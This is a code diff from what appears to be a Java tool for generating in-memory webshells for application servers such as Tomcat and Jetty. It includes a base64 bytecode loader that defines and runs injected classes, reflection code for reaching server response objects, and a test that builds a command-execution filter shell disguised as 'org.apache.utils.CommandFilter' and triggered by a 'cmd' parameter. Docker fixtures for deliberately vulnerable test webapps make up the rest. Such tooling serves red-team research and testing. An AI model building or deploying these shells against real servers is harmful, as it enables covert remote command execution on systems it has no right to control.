@@ -75,16 +75,14 @@ public class AgentJarPacker implements JarPacker {
|
|||||||
generateResult.getInjectorClassName(),
|
generateResult.getInjectorClassName(),
|
||||||
generateResult.getInjectorBytes(),
|
generateResult.getInjectorBytes(),
|
||||||
dependencyPackage,
|
dependencyPackage,
|
||||||
relocatePrefix,
|
relocatePrefix);
|
||||||
isRelocateEnabled);
|
|
||||||
|
|
||||||
// Add shell class
|
// Add shell class
|
||||||
addClassEntry(targetJar,
|
addClassEntry(targetJar,
|
||||||
generateResult.getShellClassName(),
|
generateResult.getShellClassName(),
|
||||||
generateResult.getShellBytes(),
|
generateResult.getShellBytes(),
|
||||||
dependencyPackage,
|
dependencyPackage,
|
||||||
relocatePrefix,
|
relocatePrefix);
|
||||||
isRelocateEnabled);
|
|
||||||
|
|
||||||
// Add inner classes
|
// Add inner classes
|
||||||
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
|
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
|
||||||
@@ -92,24 +90,21 @@ public class AgentJarPacker implements JarPacker {
|
|||||||
entry.getKey(),
|
entry.getKey(),
|
||||||
entry.getValue(),
|
entry.getValue(),
|
||||||
dependencyPackage,
|
dependencyPackage,
|
||||||
relocatePrefix,
|
relocatePrefix);
|
||||||
isRelocateEnabled);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
|
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
|
||||||
String dependencyPackage, String relocatePrefix, boolean isRelocateEnabled) {
|
String dependencyPackage, String relocatePrefix) {
|
||||||
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||||
byte[] processedBytes = isRelocateEnabled ?
|
byte[] processedBytes = ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage);
|
||||||
ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage) :
|
|
||||||
classBytes;
|
|
||||||
targetJar.write(processedBytes);
|
targetJar.write(processedBytes);
|
||||||
targetJar.closeEntry();
|
targetJar.closeEntry();
|
||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, boolean relocate, String relocatePrefix) {
|
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String relocatePrefix) {
|
||||||
String packageToMove = baseClass.getPackage().getName().replace('.', '/');
|
String packageToMove = baseClass.getPackage().getName().replace('.', '/');
|
||||||
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
||||||
String sourceUrlString = sourceUrl.toString();
|
String sourceUrlString = sourceUrl.toString();
|
||||||
@@ -133,13 +128,13 @@ public class AgentJarPacker implements JarPacker {
|
|||||||
if (entryName.startsWith(packageToMove)) {
|
if (entryName.startsWith(packageToMove)) {
|
||||||
InputStream entryStream = sourceJar.getInputStream(entry);
|
InputStream entryStream = sourceJar.getInputStream(entry);
|
||||||
byte[] bytes = IOUtils.toByteArray(entryStream);
|
byte[] bytes = IOUtils.toByteArray(entryStream);
|
||||||
if (relocate) {
|
if (entryName.endsWith(".class")) {
|
||||||
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
|
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
|
||||||
if (bytes.length > 0) {
|
if (bytes.length > 0) {
|
||||||
bytes = ClassRenameUtils.relocateClass(bytes, packageToMove, relocatePrefix + packageToMove);
|
bytes = ClassRenameUtils.relocateClass(bytes, packageToMove, relocatePrefix + packageToMove);
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
targetJar.putNextEntry(new JarEntry(entryName));
|
targetJar.putNextEntry(entry);
|
||||||
}
|
}
|
||||||
targetJar.write(bytes);
|
targetJar.write(bytes);
|
||||||
targetJar.closeEntry();
|
targetJar.closeEntry();
|
||||||
|
|||||||
@@ -20,7 +20,11 @@ public class JettyShell extends AbstractShell {
|
|||||||
try {
|
try {
|
||||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_channel"), "_response");
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_channel"), "_response");
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connection"), "_response");
|
try {
|
||||||
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connection"), "_response");
|
||||||
|
} catch (Exception ex) {
|
||||||
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_servletChannel"), "_response"), "_servletApiResponse");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,5 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.utils;
|
package com.reajason.javaweb.memshell.utils;
|
||||||
|
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -8,6 +10,7 @@ import java.lang.reflect.Field;
|
|||||||
*/
|
*/
|
||||||
public class ShellCommonUtil {
|
public class ShellCommonUtil {
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
Field field = null;
|
Field field = null;
|
||||||
Class<?> clazz = obj.getClass();
|
Class<?> clazz = obj.getClass();
|
||||||
@@ -26,4 +29,74 @@ public class ShellCommonUtil {
|
|||||||
return field.get(obj);
|
return field.get(obj);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static class GetFieldValueInterceptor {
|
||||||
|
@Advice.OnMethodExit
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static void exit(@Advice.Argument(value = 0) Object obj,
|
||||||
|
@Advice.Argument(value = 1) String name,
|
||||||
|
@Advice.Return(readOnly = false) Object returnValue
|
||||||
|
) throws Exception {
|
||||||
|
Field field = null;
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
field = clazz.getDeclaredField(name);
|
||||||
|
break;
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (field == null) {
|
||||||
|
throw new NoSuchFieldException(name);
|
||||||
|
} else {
|
||||||
|
field.setAccessible(true);
|
||||||
|
returnValue = field.get(obj);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static String base64DecodeToString(String bs) {
|
||||||
|
byte[] value = null;
|
||||||
|
Class<?> base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value == null ? null : new String(value);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class Base64DecodeToStringInterceptor {
|
||||||
|
|
||||||
|
@Advice.OnMethodExit
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static void exit(@Advice.Argument(value = 0, readOnly = false) String bs, @Advice.Return(readOnly = false) String returnValue) {
|
||||||
|
byte[] value = null;
|
||||||
|
Class<?> base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
returnValue = value == null ? null : new String(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,36 @@
|
|||||||
|
class ClassDefiner extends ClassLoader {
|
||||||
|
public ClassDefiner() {
|
||||||
|
super(Thread.currentThread().getContextClassLoader());
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] decodeBase64(String bytecodeBase64) {
|
||||||
|
java.util.Base64.Decoder decoder = java.util.Base64.getDecoder();
|
||||||
|
return decoder.decode(bytecodeBase64);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Class<?> defineClass(byte[] code) {
|
||||||
|
return defineClass(null, code, 0, code.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
String className = "{{className}}";
|
||||||
|
String base64Str = "{{base64Str}}";
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
try {
|
||||||
|
classLoader.loadClass(className).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] bytecode = decodeBase64(base64Str);
|
||||||
|
Class<?> clazz = defineClass(bytecode);
|
||||||
|
clazz.newInstance();
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return className;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void main(String[] args) {
|
||||||
|
new ClassDefiner().toString();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -9,7 +9,7 @@ try {
|
|||||||
try {
|
try {
|
||||||
var clsBase64 = classLoader.loadClass("java.util.Base64");
|
var clsBase64 = classLoader.loadClass("java.util.Base64");
|
||||||
var clsDecoder = classLoader.loadClass("java.util.Base64$Decoder");
|
var clsDecoder = classLoader.loadClass("java.util.Base64$Decoder");
|
||||||
var decoder = clsBase64.getMethod("getDecoder").invoke(base64Clz);
|
var decoder = clsBase64.getMethod("getDecoder").invoke(clsDecoder);
|
||||||
bytecode = clsDecoder.getMethod("decode", clsString).invoke(decoder, base64Str);
|
bytecode = clsDecoder.getMethod("decode", clsString).invoke(decoder, base64Str);
|
||||||
} catch (ee) {
|
} catch (ee) {
|
||||||
try {
|
try {
|
||||||
|
|||||||
@@ -0,0 +1,20 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.server.TomcatShell;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/4/27
|
||||||
|
*/
|
||||||
|
class ListenerGeneratorTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testCommonListener() {
|
||||||
|
Class<?> clazz = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, CommandListener.class);
|
||||||
|
assertNotNull(clazz);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,13 +1,16 @@
|
|||||||
package com.reajason.javaweb.memshell.tomcat.command;
|
package com.reajason.javaweb.memshell.tomcat.command;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.*;
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.generator.CommandGenerator;
|
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
|
import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||||
import com.reajason.javaweb.util.ClassUtils;
|
import com.reajason.javaweb.util.ClassUtils;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.junit.jupiter.params.ParameterizedTest;
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
@@ -36,15 +39,37 @@ class CommandFilterTest {
|
|||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void generate(String shellType, Class<?> clazz, String className) {
|
void generate(String shellType, Class<?> clazz, String className) {
|
||||||
ShellConfig generateConfig = new ShellConfig();
|
ShellConfig generateConfig = new ShellConfig();
|
||||||
CommandConfig shellConfig = CommandConfig.builder()
|
CommandConfig commandConfig = CommandConfig.builder()
|
||||||
.shellClass(clazz)
|
.shellClass(clazz)
|
||||||
.shellClassName(className)
|
.shellClassName(className)
|
||||||
.paramName("cmd")
|
.paramName("cmd")
|
||||||
.build();
|
.build();
|
||||||
generateConfig.setShellType(shellType);
|
generateConfig.setShellType(shellType);
|
||||||
byte[] bytes = new CommandGenerator(generateConfig, shellConfig).getBytes();
|
byte[] bytes = new CommandGenerator(generateConfig, commandConfig).getBytes();
|
||||||
Object obj = ClassUtils.newInstance(bytes);
|
Object obj = ClassUtils.newInstance(bytes);
|
||||||
assertEquals(shellConfig.getShellClassName(), obj.getClass().getName());
|
assertEquals(commandConfig.getShellClassName(), obj.getClass().getName());
|
||||||
assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
|
assertEquals(commandConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testGenerator() throws Exception {
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellType(ShellType.FILTER)
|
||||||
|
.shellTool(ShellTool.Command)
|
||||||
|
.build();
|
||||||
|
|
||||||
|
CommandConfig commandConfig = CommandConfig.builder()
|
||||||
|
.shellClass(CommandFilter.class)
|
||||||
|
.shellClassName("org.apache.utils.CommandFilter")
|
||||||
|
.paramName("cmd")
|
||||||
|
.encryptor(CommandConfig.Encryptor.DOUBLE_BASE64)
|
||||||
|
.build();
|
||||||
|
InjectorConfig injectorConfig = new InjectorConfig();
|
||||||
|
|
||||||
|
GenerateResult generate = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
|
||||||
|
// Files.write(Paths.get("hehe.class"), generate.getShellBytes());
|
||||||
|
String pack = Packers.ScriptEngine.getInstance().pack(generate);
|
||||||
|
System.out.println(pack);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -51,17 +51,20 @@ idea {
|
|||||||
}
|
}
|
||||||
|
|
||||||
test {
|
test {
|
||||||
dependsOn(":vul:vul-webapp:war",
|
// dependsOn(
|
||||||
":vul:vul-webapp-expression:war",
|
// ":vul:vul-webapp:war",
|
||||||
":vul:vul-webapp-deserialize:war",
|
// ":vul:vul-webapp-expression:war",
|
||||||
":vul:vul-webapp-jakarta:war",
|
// ":vul:vul-webapp-deserialize:war",
|
||||||
":vul:vul-springboot1:bootJar",
|
// ":vul:vul-webapp-jakarta:war",
|
||||||
":vul:vul-springboot2:bootJar",
|
// ":vul:vul-springboot1:bootJar",
|
||||||
":vul:vul-springboot2:bootWar",
|
// ":vul:vul-springboot2:bootJar",
|
||||||
":vul:vul-springboot2-webflux:bootJar",
|
// ":vul:vul-springboot2-jetty:bootJar",
|
||||||
":vul:vul-springboot3:bootJar",
|
// ":vul:vul-springboot2-undertow:bootJar",
|
||||||
":vul:vul-springboot3-webflux:bootJar",
|
// ":vul:vul-springboot2:bootWar",
|
||||||
)
|
// ":vul:vul-springboot2-webflux:bootJar",
|
||||||
|
// ":vul:vul-springboot3:bootJar",
|
||||||
|
// ":vul:vul-springboot3-webflux:bootJar",
|
||||||
|
// )
|
||||||
useJUnitPlatform()
|
useJUnitPlatform()
|
||||||
finalizedBy jacocoTestReport
|
finalizedBy jacocoTestReport
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
FROM jetty:12.0-jre21
|
||||||
|
|
||||||
|
RUN java -jar /usr/local/jetty/start.jar --add-modules=ee10-deploy
|
||||||
|
|
||||||
|
EXPOSE 8080
|
||||||
|
|
||||||
|
CMD ["java", "-jar", "/usr/local/jetty/start.jar"]
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
FROM jetty:12.0-jre21
|
||||||
|
|
||||||
|
RUN java -jar /usr/local/jetty/start.jar --add-modules=ee8-deploy
|
||||||
|
|
||||||
|
EXPOSE 8080
|
||||||
|
|
||||||
|
CMD ["java", "-jar", "/usr/local/jetty/start.jar"]
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
FROM jetty:12.0-jre21
|
||||||
|
|
||||||
|
RUN java -jar /usr/local/jetty/start.jar --add-modules=ee9-deploy
|
||||||
|
|
||||||
|
EXPOSE 8080
|
||||||
|
|
||||||
|
CMD ["java", "-jar", "/usr/local/jetty/start.jar"]
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
services:
|
||||||
|
jetty1221ee10:
|
||||||
|
build:
|
||||||
|
dockerfile: ./Dockerfile-ee10
|
||||||
|
context: .
|
||||||
|
ports:
|
||||||
|
- "8080:8080"
|
||||||
|
- "5005:5005"
|
||||||
|
environment:
|
||||||
|
JAVA_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
|
volumes:
|
||||||
|
- ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/var/lib/jetty/webapps/app.war
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
services:
|
||||||
|
jetty1221ee8:
|
||||||
|
build:
|
||||||
|
dockerfile: ./Dockerfile-ee8
|
||||||
|
context: .
|
||||||
|
ports:
|
||||||
|
- "8080:8080"
|
||||||
|
- "5005:5005"
|
||||||
|
environment:
|
||||||
|
JAVA_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
|
volumes:
|
||||||
|
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/var/lib/jetty/webapps/app.war
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
services:
|
||||||
|
jetty1221ee9:
|
||||||
|
build:
|
||||||
|
dockerfile: ./Dockerfile-ee9
|
||||||
|
context: .
|
||||||
|
ports:
|
||||||
|
- "8080:8080"
|
||||||
|
- "5005:5005"
|
||||||
|
environment:
|
||||||
|
JAVA_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
|
volumes:
|
||||||
|
- ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/var/lib/jetty/webapps/app.war
|
||||||
@@ -1,10 +1,10 @@
|
|||||||
services:
|
services:
|
||||||
jetty66:
|
jetty66:
|
||||||
image: reajason/jetty:6.1-jdk6
|
image: reajason/jetty:6.1-jdk6
|
||||||
ports:
|
# ports:
|
||||||
- "8080:8080"
|
# - "8080:8080"
|
||||||
- "5005:5005"
|
# - "5005:5005"
|
||||||
# environment:
|
# environment:
|
||||||
# JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
# JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
volumes:
|
volumes:
|
||||||
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jetty/webapps/app.war
|
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jetty/webapps/app.war
|
||||||
@@ -4,5 +4,8 @@ services:
|
|||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
- "5005:5005"
|
- "5005:5005"
|
||||||
|
user: root
|
||||||
|
environment:
|
||||||
|
JAVA_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
volumes:
|
volumes:
|
||||||
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/var/lib/jetty/webapps/app.war
|
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/var/lib/jetty/webapps/app.war
|
||||||
@@ -7,6 +7,4 @@ services:
|
|||||||
environment:
|
environment:
|
||||||
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
|
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
|
||||||
volumes:
|
volumes:
|
||||||
- /Users/reajason/IdeaProjects/MemShellParty/target.jar:/usr/local/arthas/target.jar
|
|
||||||
- /Users/reajason/workspace/arthas:/usr/local/arthas
|
|
||||||
- ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/tomcat/webapps/app.war
|
- ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/tomcat/webapps/app.war
|
||||||
@@ -7,5 +7,4 @@ services:
|
|||||||
environment:
|
environment:
|
||||||
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
volumes:
|
volumes:
|
||||||
- /Users/reajason/workspace/arthas:/usr/local/arthas
|
|
||||||
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war
|
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war
|
||||||
@@ -2,10 +2,9 @@ services:
|
|||||||
tomcat88:
|
tomcat88:
|
||||||
image: tomcat:8-jre8
|
image: tomcat:8-jre8
|
||||||
ports:
|
ports:
|
||||||
- "8081:8080"
|
- "8082:8080"
|
||||||
- "5005:5005"
|
- "5005:5005"
|
||||||
environment:
|
environment:
|
||||||
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
volumes:
|
volumes:
|
||||||
- /Users/reajason/workspace/arthas:/usr/local/arthas
|
|
||||||
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war
|
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war
|
||||||
@@ -5,7 +5,6 @@ services:
|
|||||||
ports:
|
ports:
|
||||||
- "9080:9080"
|
- "9080:9080"
|
||||||
- "9060:9060"
|
- "9060:9060"
|
||||||
- "5005:5005"
|
|
||||||
environment:
|
environment:
|
||||||
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
volumes:
|
volumes:
|
||||||
|
|||||||
@@ -1,2 +1,2 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
ps -ef | grep -E 'Main|jboss-modules.jar' | grep -v grep | awk '{print $2}' | tr -d '\n'
|
pgrep -f 'Main|jboss-modules.jar' | tr -d '\n'
|
||||||
@@ -1,2 +1,2 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
ps -ef | grep "jetty.home" | grep -v grep | awk '{print $2}' | tr -d '\n'
|
pgrep -f "jetty.home" | tr -d '\n'
|
||||||
@@ -1,2 +1,2 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
ps -ef | grep Resin | grep -v grep | awk '{print $2}' | tr -d '\n'
|
pgrep -f Resin | tr -d '\n'
|
||||||
@@ -1,2 +1,2 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
ps -ef | grep Bootstrap | grep -v grep | awk '{print $2}' | tr -d '\n'
|
pgrep -f Bootstrap | tr -d '\n'
|
||||||
@@ -2,7 +2,7 @@
|
|||||||
pid=""
|
pid=""
|
||||||
|
|
||||||
if command -v ps &> /dev/null; then
|
if command -v ps &> /dev/null; then
|
||||||
pid=$(ps -ef | grep weblogic | grep -v grep | awk '{print $2}')
|
pid=$(pgrep -f weblogic)
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ -z "$pid" ]; then
|
if [ -z "$pid" ]; then
|
||||||
|
|||||||
@@ -1,2 +1,2 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
ps -ef | grep WSLauncher | grep -v grep | awk '{print $2}' | tr -d '\n'
|
pgrep -f WSLauncher | tr -d '\n'
|
||||||
@@ -20,6 +20,8 @@ public class ContainerTool {
|
|||||||
public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath();
|
public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath();
|
||||||
public static final Path springBoot1Dockerfile = Path.of("..", "vul", "vul-springboot1", "Dockerfile").toAbsolutePath();
|
public static final Path springBoot1Dockerfile = Path.of("..", "vul", "vul-springboot1", "Dockerfile").toAbsolutePath();
|
||||||
public static final Path springBoot2Dockerfile = Path.of("..", "vul", "vul-springboot2", "Dockerfile").toAbsolutePath();
|
public static final Path springBoot2Dockerfile = Path.of("..", "vul", "vul-springboot2", "Dockerfile").toAbsolutePath();
|
||||||
|
public static final Path springBoot2JettyDockerfile = Path.of("..", "vul", "vul-springboot2-jetty", "Dockerfile").toAbsolutePath();
|
||||||
|
public static final Path springBoot2UndertowDockerfile = Path.of("..", "vul", "vul-springboot2-undertow", "Dockerfile").toAbsolutePath();
|
||||||
public static final Path springBoot2WebfluxDockerfile = Path.of("..", "vul", "vul-springboot2-webflux", "Dockerfile").toAbsolutePath();
|
public static final Path springBoot2WebfluxDockerfile = Path.of("..", "vul", "vul-springboot2-webflux", "Dockerfile").toAbsolutePath();
|
||||||
public static final Path springBoot3Dockerfile = Path.of("..", "vul", "vul-springboot3", "Dockerfile").toAbsolutePath();
|
public static final Path springBoot3Dockerfile = Path.of("..", "vul", "vul-springboot3", "Dockerfile").toAbsolutePath();
|
||||||
public static final Path springBoot3WebfluxDockerfile = Path.of("..", "vul", "vul-springboot3-webflux", "Dockerfile").toAbsolutePath();
|
public static final Path springBoot3WebfluxDockerfile = Path.of("..", "vul", "vul-springboot3-webflux", "Dockerfile").toAbsolutePath();
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
|||||||
import com.reajason.javaweb.suo5.Suo5Manager;
|
import com.reajason.javaweb.suo5.Suo5Manager;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import okhttp3.HttpUrl;
|
import okhttp3.HttpUrl;
|
||||||
import okhttp3.OkHttpClient;
|
import okhttp3.OkHttpClient;
|
||||||
import okhttp3.Request;
|
import okhttp3.Request;
|
||||||
@@ -19,6 +20,7 @@ import org.testcontainers.containers.GenericContainer;
|
|||||||
import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
|
import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
|
||||||
import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils;
|
import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils;
|
||||||
import org.testcontainers.shaded.org.apache.commons.lang3.StringUtils;
|
import org.testcontainers.shaded.org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Pair;
|
||||||
import org.testcontainers.utility.MountableFile;
|
import org.testcontainers.utility.MountableFile;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
@@ -52,9 +54,8 @@ public class ShellAssertionTool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
|
public static Pair<String, String> getUrls(String url, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
String shellUrl = url + "/test";
|
String shellUrl = url + "/test";
|
||||||
|
